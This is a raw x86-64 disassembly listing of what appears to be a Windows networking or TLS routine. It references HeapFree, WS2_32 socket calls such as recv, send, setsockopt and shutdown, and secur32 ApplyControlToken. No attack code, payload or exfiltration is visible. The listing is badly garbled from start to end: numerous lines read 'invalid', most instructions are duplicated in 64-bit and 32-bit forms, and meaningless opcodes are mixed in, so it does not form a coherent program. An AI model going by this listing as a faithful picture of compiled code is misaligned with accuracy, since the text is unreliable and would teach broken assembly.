call 0x14861e9f9
mov rdx, qword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
invalid
call fcn.140005270
mov rcx, qword [rbp - 8]
clc
clc
call fcn.140029350
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
int3
int3
int3
sub rsp, 0x30
sub esp, 0x30
in al, dx
xor byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rsp + 0x20], rax
and al, 0x20
and al, ch
test eax, 0x48000008
invalid
invalid
call fcn.1401167a0
mov rax, rsi
mov eax, esi
invalid
add rsp, 0x30
add esp, 0x30
pop rsi
ret
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
in al, dx
pop rax
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
and al, 0x50
push rax
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add r14b, r15b
invalid
invalid
invalid
dec dword [rax - 0x77]
enter 0xffffffffffff8948, 0xffffffffffffff91
invalid
xchg ecx, eax
mov rax, rcx
mov qword [rcx + 0x138], rdx
mov dword [rcx + 0x138], edx
mov dword [rcx + 0x138], edx
xchg ecx, eax
cmp byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
fmul dword [r8 - 0x77]
fmul dword [rax - 0x77]
mov qword [rbp - 8], rax
clc
mov rdx, rax
mov edx, eax
ret 0x41e8
call fcn.140118670
add byte [rax - 0x7d], cl
cmp qword [rbp - 0x28], 0
cmp dword [rbp - 0x28], 0
jge case.0x140111eeb.149
add byte [rbx + riz + 0x48], dh
je case.default.0x140115f51
and ecx, dword [rax - 0x75]
mov rsi, qword [rbp - 0x20]
mov esi, dword [rbp - 0x20]
jne case.0x14010aa3a.355
mov rdi, qword [rbp - 8]
jge case.0x14010aa3a.359
clc
mov ebx, esi
and ebx, 3
and ebx, 3
lea rax, [0x1401ef55c]
lea eax, [0x1401ef55c]
add eax, 0xd9612
adc dl, byte [rsi + 0x6348000d]
movsxd rcx, dword [rax + rbx*4]
invalid
or al, 0x98
cwde
add rcx, rax
jmp rcx
loope 0x140115f63
movzx eax, byte [rsi + 0x10]
jmp 0x140115fb7
pop rsi
mov dh, 0x46
adc bl, ch
adc bl, r13b
pop rsi
mov rdi, qword [rbp - 8]
mov edi, dword [rbp - 8]
jge 0x140115f55
mov rdx, qword [rdi + 0x138]
xchg edi, eax
cmp byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x7b], cl
test rdx, rdx
ror byte [rdi], cl
je 0x1401161a9
test byte [rdx + rax], bh
cmp al, 2
add byte [rax], al
lea rcx, [rdi + 0x10]
lea ecx, [rdi + 0x10]
adc byte [r11 - 0x7af0fdc7], r8b
adc byte [rbx - 0x7af0fdc7], al
cmp dword [rcx], 2
jne case.0x140115bd4.57
test dword [rcx + 0x31000000], ebp
test eax, 0x31000000
add byte [rax], al
add byte [rcx], dh
xor esi, esi
imul cl
jmp case.0x140113275.287
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rcx, rsi
mov ecx, esi
int1
shr rcx, 0x20
shr ecx, 0x20
call fcn.14014c870
jrcxz case.0x14011130f.276
push 0x28eb0003
add eax, dword [rax]
add bl, ch
sub byte [rax - 0x77], cl
invalid
invalid
jmp 0x140115fb7
mov rax, rsi
mov eax, esi
invalid
shr rax, 0x20
shr eax, 0x20
and byte [rbx - 0x78f0d708], al
test dword [rcx], eax
add byte [rax], al
invalid
cmp eax, 0x28
clc
sub byte [rdi], cl
ja case.default.0x140115fad
xchg dword [rbp + 0x48000001], eax
add byte [rax - 0x73], cl
lea rcx, [0x1401ef56c]
lea ecx, [0x1401ef56c]
or eax, 0xd95c6
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
loopne 0x140115fe1
xor eax, eax
jmp 0x140115fb7
shr bl, 4
movzx eax, byte [rsi + 0xf]
mov dh, 0x46
invalid
invalid
cmp al, 0xd
jne case.0x140113275.287
pop rcx
pop rcx
mov qword [rdi + 0x138], 0
mov dword [rdi + 0x138], 0
xchg dword [rax], edi
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + 1], bh
mov edi, 1
add byte [rax], al
mov edi, 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rbx - 2]
dec byte [r8 - 0x7d]
cmp rax, 2
cmp eax, 2
clc
add cl, byte [rdi]
jb case.0x1401132c0.182
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test rbx, rbx
fisttp dword [rdi]
je case.0x1401132c0.182
test byte [rcx + 0x48000000], bl
cdq
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsi - 1]
lea eax, [rsi - 1]
dec dword [rax - 0x77]
dec dword [rax - 0x77]
mov qword [rbp - 8], rax
mov dword [rbp - 8], eax
clc
clc
mov rcx, qword [rsi - 1]
mov ecx, dword [rsi - 1]
dec qword [rax - 0x75]
dec dword [rax - 0x75]
mov rax, qword [rsi + 7]
invalid
invalid
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
invalid
invalid
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
call 0xcb5970fd
call 0xcb5970fd
call qword [rax]
adc byte [rax - 0x75], cl
mov rax, qword [rbp - 0x18]
call 0x14889e34c
call 0x14889e34c
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
js case.0x140115b99.89
or byte [rax], al
add byte [rcx + riz*2 + 0x48], dh
je case.0x140113275.299
invalid
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
js case.0x140113275.288
adc byte [rcx], dl
adc dword [rbx + 0x43], esi
jae 0x140116051
mov r8, qword [rbp - 0x10]
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
invalid
jmp case.0x140115b99.66
mov qword [rdi + 0x138], 0
mov qword [rdi + 0x138], 0
mov dword [rdi + 0x138], 0
xchg dword [rax], edi
add dword [rax], eax
cmp byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
invalid
xor edi, edi
jmp case.0x1401132c0.182
pop rax
call fcn.140115540
sbb ch, dh
cmc
invalid
test rax, rax
test eax, eax
sal byte [rdi + rcx + 0x48], 0xbe
je 0x14011603c
cmovs edi, dword [rsi + 3]
movabs rsi, 0xd00000003
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [0x129116038], cl
or eax, 0xe9000000
add cl, ch
jmp 0x140115f3a
invalid
invalid
invalid
mov rsi, rdx
mov esi, edx
invalid
test rdx, rdx
test edx, edx
mov rdi, qword [rbp - 8]
jge case.0x140113275.293
clc
jne case.0x1401132c0.171
test edx, esi
invalid
invalid
jmp 0x140115f7a
sub edi, edi
invalid
invalid
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
invalid
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x1261f8
clc
invalid
xor edx, edx
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x78fc0
add byte [rax - 0x75], cl
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x1261e9
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 8]
xor edx, edx
mov r8, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x78fad
lodsd eax, dword [rsi]
pop qword [rdi]
add byte [rax - 0x77], cl
mov rax, rdi
mov eax, edi
clc
mov rdx, rsi
mov edx, esi
add rsp, 0x58
invalid
pop rax
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov al, 0x25
and eax, 0xffff26e9
push qword [rax - 0xe016dd]
mov al, 0x23
invalid
invalid
invalid
jmp 0x140115fb7
invalid
invalid
mov al, 0x23
and ebp, ecx
jmp 0x140115fb7
invalid
invalid
mov al, 0x24
and al, 0xe9
jmp 0x140115fb7
sbb bh, bh
invalid
mov al, 0x1b
sbb ebp, ecx
jmp 0x140115fb7
adc edi, edi
invalid
mov al, 0x22
and ch, cl
jmp 0x140115fb7
or bh, bh
invalid
mov al, reloc.WS2_32.dll_recv
adc cl, ch
jmp 0x140115fb7
add edi, edi
invalid
mov al, 0xe
invalid
jmp 0x140115fb7
cld
invalid
invalid
mov al, 0x21
and ecx, ebp
jmp 0x140115fb7
cmc
invalid
invalid
mov al, 0xb
or ebp, ecx
jmp 0x140115fb7
out dx, al
invalid
invalid
mov al, 4
add al, 0xe9
jmp 0x140115fb7
out 0xfe, eax
invalid
mov al, 0x28
sub cl, ch
jmp 0x140115fb7
loopne case.0x14011130f.308
invalid
mov al, 0xc
or al, 0xe9
jmp 0x140115fb7
fsin
invalid
mov al, 9
or ecx, ebp
jmp 0x140115fb7
sar dh, cl
invalid
mov al, 0x19
sbb ecx, ebp
jmp 0x140115fb7
retf
invalid
mov al, 0x18
sbb cl, ch
jmp 0x140115fb7
invalid
invalid
mov al, 2
jmp 0x140115fb7
invalid
invalid
invalid
invalid
mov ebp, 0xb0fffffe
psubsw mm6, qword [rsi - 0x4f000002]
mov dh, 0xfe
invalid
push qword [rax - 0x15016fd]
mov al, 3
invalid
scasd eax, dword [rdi]
invalid
invalid
mov al, recv
jmp 0x140115fb7
mov dh, 0xfe
invalid
invalid
mov dh, 0xfe
invalid
mov al, 3
jmp 0x140115fb7
invalid
invalid
invalid
mov al, 7
jmp 0x140115fb7
invalid
invalid
invalid
mov al, 1
jmp 0x140115fb7
mov al, 0x1f
jmp 0x140115fb7
invalid
invalid
invalid
mov al, 0x11
jmp 0x140115fb7
invalid
invalid
invalid
mov al, 0x29
jmp 0x140115fb7
invalid
invalid
sub ecx, ebp
invalid
invalid
mov al, setsockopt
jmp 0x140115fb7
invalid
invalid
invalid
invalid
invalid
mov al, 5
jmp 0x140115fb7
jle case.0x1401156eb.131
invalid
invalid
jle case.0x1401156eb.131
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140115fb7
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x18f16f3]
mov al, 0xd
jmp 0x140115fb7
invalid
invalid
invalid
invalid
mov al, 6
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x19d16ee]
mov al, send
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1a416f6]
mov al, 0xa
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1ab16f8]
mov al, 8
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1b216e2]
mov al, 0x1e
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1b916e0]
mov al, 0x20
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1c016ea]
mov al, reloc.WS2_32.dll_shutdown
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1c716d9]
mov al, 0x27
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1ce16ed]
mov al, reloc.WS2_32.dll_send
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1d516e9]
mov al, 0x17
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1dc16e4]
mov al, 0x1c
jmp 0x140115fb7
invalid
invalid
invalid
invalid
push qword [rax - 0x1e316e3]
invalid
mov al, 0x1d
jmp 0x140115fb7
invalid
invalid
invalid
push qword [rax - 0x1ea16da]
invalid
mov al, 0x26
jmp 0x140115fb7
invalid
invalid
invalid
push qword [rax - 0x1f116e6]
invalid
mov al, 0x1a
jmp 0x140115fb7
invalid
invalid
invalid
dec dword [rax - 0x73]
or eax, 0xa37c8
invalid
or al, byte [rax]
invalid
lea rcx, str.assertion_failed:__self.context.is_null__
add byte [rbp + rcx*4 + 5], cl
int1
lea r8, [0x1401b99a8]
invalid
or al, byte [rax]
add byte [rdx + 0x29], bh
mov edx, 0x29
call fcn.140186b70
scasd eax, dword [rdi]
or dword [rdi], eax
add byte [rdi], cl
invalid
ud2
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
push rax
mov rax, qword [rbp - 0x18]
call 0x14861ed31
mov rdx, qword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
invalid
invalid
invalid
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
adc byte [rax - 0x75], cl
invalid
mov ecx, dword [rbp - 0x10]
call fcn.140005270
mov rcx, qword [rbp - 8]
invalid
dec dword [rax - 0x75]
clc
call fcn.140029350
nop
add rsp, 0x28
add esp, 0x28
xor ecx, esi
call qword [rax + 0x28c48348]
add esp, 0x28
add esp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
push 0x50
mov rcx, qword [rbp - 8]
clc
call fcn.1401187a0
jbe 0x14011624d
add byte [rax], al
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
invalid
pop rbp
ret
int3
int3
int3
int3
int3
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x78
invalid
js 0x140116291
lea rbp, [rsp + 0x70]
lea ebp, [rsp + 0x70]
jo case.0x1401156eb.154
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add dh, bh
invalid
mov r8, rcx
mov qword [rcx + 0x138], rdx
add dword [rax], eax
invalid
enter 0xffffffffffff8948, 0xffffffffffffff91
cmp byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x81
add dword [rax], eax
add dword [rax], eax
movzx eax, byte [rcx + 0x140]
test rax, rax
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rsp + rcx - 0x7d], 0xf8
je 0x140116277
invalid
clc
je 0x140116277
or al, 0x83
cmp eax, 2
jne case.0x140115bd4.90
clc
add dh, byte [rbp + 0x15]
xor esi, esi
jmp 0x1401163c2
add qword [r8], rax
invalid
imul cl
add qword [r8], rax
add byte [rcx - 0x80], al
invalid
add byte [rax], al
cmp byte [r8 + 0x143], 0
cmp byte [rax + 0x143], 0
mov eax, 0x143
add byte [rdi], cl
invalid
add dword [r8], eax
add byte [rax], al
jne case.0x140115bd4.101
test dword [rbp - 0x39000000], ecx
lea eax, [rax]
add byte [rax], al
mov dword [rbp - 0x14], 1
in al, dx
add dword [rax], eax
add byte [rax], al
movabs rax, 0x200000004
mov eax, 4
add al, byte [rax]
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x14]
add byte [rax], al
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x48], eax
lea rax, [rbp - 0x14]
lea eax, [rbp - 0x14]
in al, dx
mov qword [rbp - 0x40], rax
movabs rax, 0x100000000
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
enter 0xffffffffffff8d48, 0x45
lea rax, [rbp - 0x48]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x30], eax
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x30], eax
mov r8d, 0xd0458948
mov dword [rbp - 0x30], eax
ror byte [rcx + rcx*4 + 0x45], 1
clc
mov qword [rbp - 8], r8
mov dword [rbp - 8], eax
lea rcx, [r8 + 0x1c0]
mov al, al
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, [rbp - 0x38]
push rbp
enter 0x15ff, 0x23
invalid
invalid
invalid
call qword [sym.imp.secur32.dll_ApplyControlToken]
mov esi, eax
invalid
test eax, eax
xchg edx, eax
invalid
add byte [rcx + 0x74c085c6], cl
sbb eax, 0x20e6c148
shl rsi, 0x20
mov byte [rbp + 0x481d74c0], 0xc1
je 0x1401162f0
shl rsi, 0x20
out 0x20, al
or rsi, 2
or esi, 2
add cl, byte [rcx + 0x3e383f3]
mov ebx, esi
and ebx, 3
invalid
and ebx, 3
add ecx, dword [rax - 0x73]
add eax, 0xd9329
invalid
xchg ebx, eax
invalid
invalid
lea rax, [0x1401ef610]
lea eax, [0x1401ef610]
sub dword [rbx + 0x6348000d], edx
add byte [rax + 0x63], cl
movsxd rcx, dword [rax + rbx*4]
invalid
or al, 0x98
cwde
add rcx, rax
jmp rcx
invalid
sar edi, 0xe1
loope 0x14011633d
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
mov dword [r8 + 0x140], 0x1010000
add byte [rax + 1], 0
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add dword [rcx], eax
invalid
invalid
add byte [rcx + rax], 0
add dword [rax], r8d
invalid
add byte [rax], al
add dword [rcx], eax
mov byte [r8 + 0x144], 0
add dword [rax], r8d
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x39], cl
mov qword [r8 + 0x1f8], 0
cmp al, 1
add byte [rax], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
lea rcx, [rbp - 0x38]
mov qword [rbp - 8], r8
mov dword [rbp - 8], eax
enter 0xffffffffffff894c, 0x45
mov dword [rbp - 8], eax
clc
mov rdx, r8
mov edx, eax
call fcn.140116ce0
mov esi, 0x83000009
jge case.0x14011633f.102
add byte [rax], al
cmp dword [rbp - 0x38], 2
jne case.default.0x14011633f
invalid
add dh, byte [rbp + 0x1f]
invalid
mov rsi, qword [rbp - 0x30]
mov esi, dword [rbp - 0x30]
mov ebx, esi
and ebx, 3
and ebx, 3
lea rax, [0x1401ef610]
add eax, 0xd92d8
xchg edx, eax
or eax, 0xc634800
invalid
or al, 0x98
movsxd rcx, dword [rax + rbx*4]
invalid
or al, 0x98
add rcx, rax
add ecx, eax
jmp rcx
movzx eax, byte [rsi + 0x10]
jmp case.0x14011633f.118
adc bl, r13b
invalid
xor esi, esi
imul bl
jmp case.0x1400e9218.499
jae 0x140116394
mov rcx, rsi
mov ecx, esi
shr rcx, 0x20
shr ecx, 0x20
jmp 0x1a52b4b75
and al, ch
sbb dword [rbp + 3], esp
call fcn.14014c870
add bl, ch
jmp case.0x14011633f.118
add al, 0xf
mov dh, 0x46
invalid
movzx eax, byte [rsi + 0xf]
cmp al, 0xd
or eax, 0x8b485d75
clc
clc
jne case.0x1400e9218.499
mov rax, qword [rbp - 8]
clc
mov qword [rax + 0x138], 0
mov dword [rax + 0x138], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + 1], bh
mov edi, 1
mov edi, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rbx - 2]
dec byte [r8 - 0x7d]
dec byte [rax - 0x7d]
cmp rax, 2
cmp eax, 2
clc
add cl, byte [rdi]
jb case.0x14010ab6c.376
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test rbx, rbx
test ebx, ebx
fisttp dword [rdi]
je case.0x14010ab6c.376
test byte [rdx + 0x48000000], dl
xchg edx, eax
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rax, [rsi - 1]
lea eax, [rsi - 1]
dec dword [rax - 0x77]
dec dword [rax - 0x77]
mov qword [rbp - 8], rax
clc
clc
mov rcx, qword [rsi - 1]
mov ecx, dword [rsi - 1]
dec qword [rax - 0x75]
dec dword [rax - 0x75]
mov rax, qword [rsi + 7]
invalid
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
invalid
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
loopne case.0x14010aa3a.519
loopne case.0x14010aa3a.519
call qword [rax]
mov rax, qword [rbp - 0x20]
invalid
invalid
adc byte [rax - 0x75], cl
loopne 0x1401163f3
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
js case.0x140115f51.60
add byte [rdx + rbx*2 + 0x48], dh
je case.0x1400e9218.506
pop rdx
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
js 0x1401163c5
adc dword [rbx + 0x3c], esi
jae 0x1401163f4
cmp al, 0x4c
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
jmp case.0x140115f51.70
mov r8, qword ds:[rbp - 8]
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
clc
clc
mov qword [r8 + 0x138], 0
cmp byte [rax], 1
cmp byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
xor edi, edi
invalid
jmp case.0x14010ab6c.376
mov rax, rsi
mov eax, esi
shr rax, 0x20
shr eax, 0x20
call 0x16909e6fb
cmp eax, 0x28
clc
sub byte [rdi + 0x50], dh
ja case.default.0x1401163eb
ja case.default.0x1401163eb
push rax
lea rcx, [0x1401ef620]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
cmp al, 0x92
xchg edx, eax
or eax, 0x4634800
or dword [rax + 1], 0x31e0ffc8
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
jmp rax
loopne case.0x140115f51.75
xor eax, eax
shr cl, 0x69
jmp case.0x14011633f.118
imul edi, edi, 0x8b4cffff
invalid
invalid
dec dword [rbx + rcx*4 + 0x45]
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
invalid
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
or eax, 0x125e55
push rbp
pop rsi
adc al, byte [rax]
xor edx, edx
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x78c1d
mov word [rdi], es
add byte [rax - 0x75], cl
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x125e46
pop rsi
adc al, byte [rax]
add byte [rcx], dh
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
clc
mov r8, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
or cl, byte [rdi + rax - 0x776b800]
mov word [rdi], es
add byte [rax - 0x77], cl
mov rax, rdi
invalid
mov rax, rdi
mov eax, edi
mov rdx, rsi
mov edx, esi
add rsp, 0x78
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov al, 0x29
jmp case.0x14011633f.118
sub edi, edi
invalid
mov al, 1
jmp case.0x14011633f.118
and bh, bh
invalid
mov al, 2
add ch, cl
jmp case.0x14011633f.118
sbb edi, edi
invalid
mov al, 3
jmp case.0x14011633f.118
adc al, 0xff
invalid
invalid
mov al, 4
jmp case.0x14011633f.118
or eax, 0xb0ffffff
add eax, 0xffff06e9
jmp case.0x14011633f.118
mov al, 6
invalid
invalid
invalid
invalid
mov al, 5
jmp case.0x14011633f.118
invalid
invalid
invalid
mov al, 6
jmp case.0x14011633f.118
invalid
invalid
mov al, 7
jmp case.0x14011633f.118
clc
invalid
invalid
push qword [rax - 0x10e16f8]
mov al, 8
jmp case.0x14011633f.118
invalid
mov al, 9
jmp case.0x14011633f.118
invalid
mov al, 0xa
jmp case.0x14011633f.118
invalid
mov al, 0xb
jmp case.0x14011633f.118
invalid
mov al, 0xc
jmp case.0x14011633f.118
invalid
invalid
mov al, 0xd
jmp case.0x14011633f.118
invalid
invalid
mov al, 0xe
jmp case.0x14011633f.118
invalid
invalid
mov al, recv
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_recv
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, 0x11
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, send
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_send
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, setsockopt
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_shutdown
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, 0x17
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, 0x18
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, 0x19
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, 0x1a
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
mov al, 0x1b
jmp case.0x14011633f.118
insb byte [rdi], dx
invalid
invalid
invalid
insb byte [rdi], dx
invalid
invalid
mov al, 0x1c
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x1d
jmp case.0x14011633f.118
pop rsi
invalid
invalid
mov al, 0x1e
jmp case.0x14011633f.118
push rdi
invalid
invalid
invalid
push rdi
invalid
invalid
mov al, 0x1f
jmp case.0x14011633f.118
push rax
invalid
invalid
mov al, 0x20
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x21
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x22
jmp case.0x14011633f.118
cmp edi, esi
invalid
invalid
cmp edi, esi
invalid
mov al, 0x23
jmp case.0x14011633f.118
xor al, 0xfe
invalid
invalid
xor al, 0xfe
invalid
invalid
push qword [rax - 0x1d216dc]
mov al, 0x24
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
sub eax, 0xb0fffffe
and eax, 0xfffe26e9
invalid
invalid
invalid
push qword [rax - 0x1e016da]
mov al, 0x26
invalid
invalid
invalid
invalid
invalid
mov al, 0x25
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x26
jmp case.0x14011633f.118
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x27
jmp case.0x14011633f.118
sbb dh, bh
invalid
invalid
sbb dh, bh
invalid
invalid
mov al, 0x28
jmp case.0x14011633f.118
adc esi, edi
invalid
invalid
adc esi, edi
invalid
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
push 0x70
mov rcx, qword [rbp - 8]
clc
call fcn.1401187a0
nop
and al, byte ss:[rax]
add byte [rax + 0x28c48348], dl
add rsp, 0x28
add rsp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
push 0x70
jo 0x1401165da
mov rax, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
mov r8, qword [rax + 0x10]
adc byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
call fcn.140005270
mov rcx, qword [rbp - 8]
in al, dx
out dx, al
dec dword [rax - 0x75]
clc
call fcn.140029350
nop
add rsp, 0x28
add esp, 0x28
movabs eax, dword [0x28c4834890fff12d]
sub eax, 0x4890fff1
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
push rsi
sub rsp, 0x30
mov rax, r9
mov eax, ecx
mov eax, ecx
mov rsi, rcx
mov rcx, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
and al, 0x60
invalid
add rax, 0xfffffffffffffff0
shl rcx, 4
shl ecx, 4
loope case.0x14010aa7a.394
lea r9, [0x1401ea218]
or eax, 0xd3c39
cmp dword [rcx - 0x7ab77000], edi
cmp al, 0xd
add byte [rax + 0x74c98548], dl
leave
invalid
or eax, 0x85489000
nop
test rcx, rcx
leave
je case.0x140113275.358
invalid
mov r10d, dword [rax + 0x10]
add rax, 0x10
add eax, 0x10
rcl byte [rax], 0x48
add ecx, 0xfffffff0
invalid
add rcx, 0xfffffffffffffff0
invalid
test r10, r10
test edx, edx
je 0x1401165e0
invalid
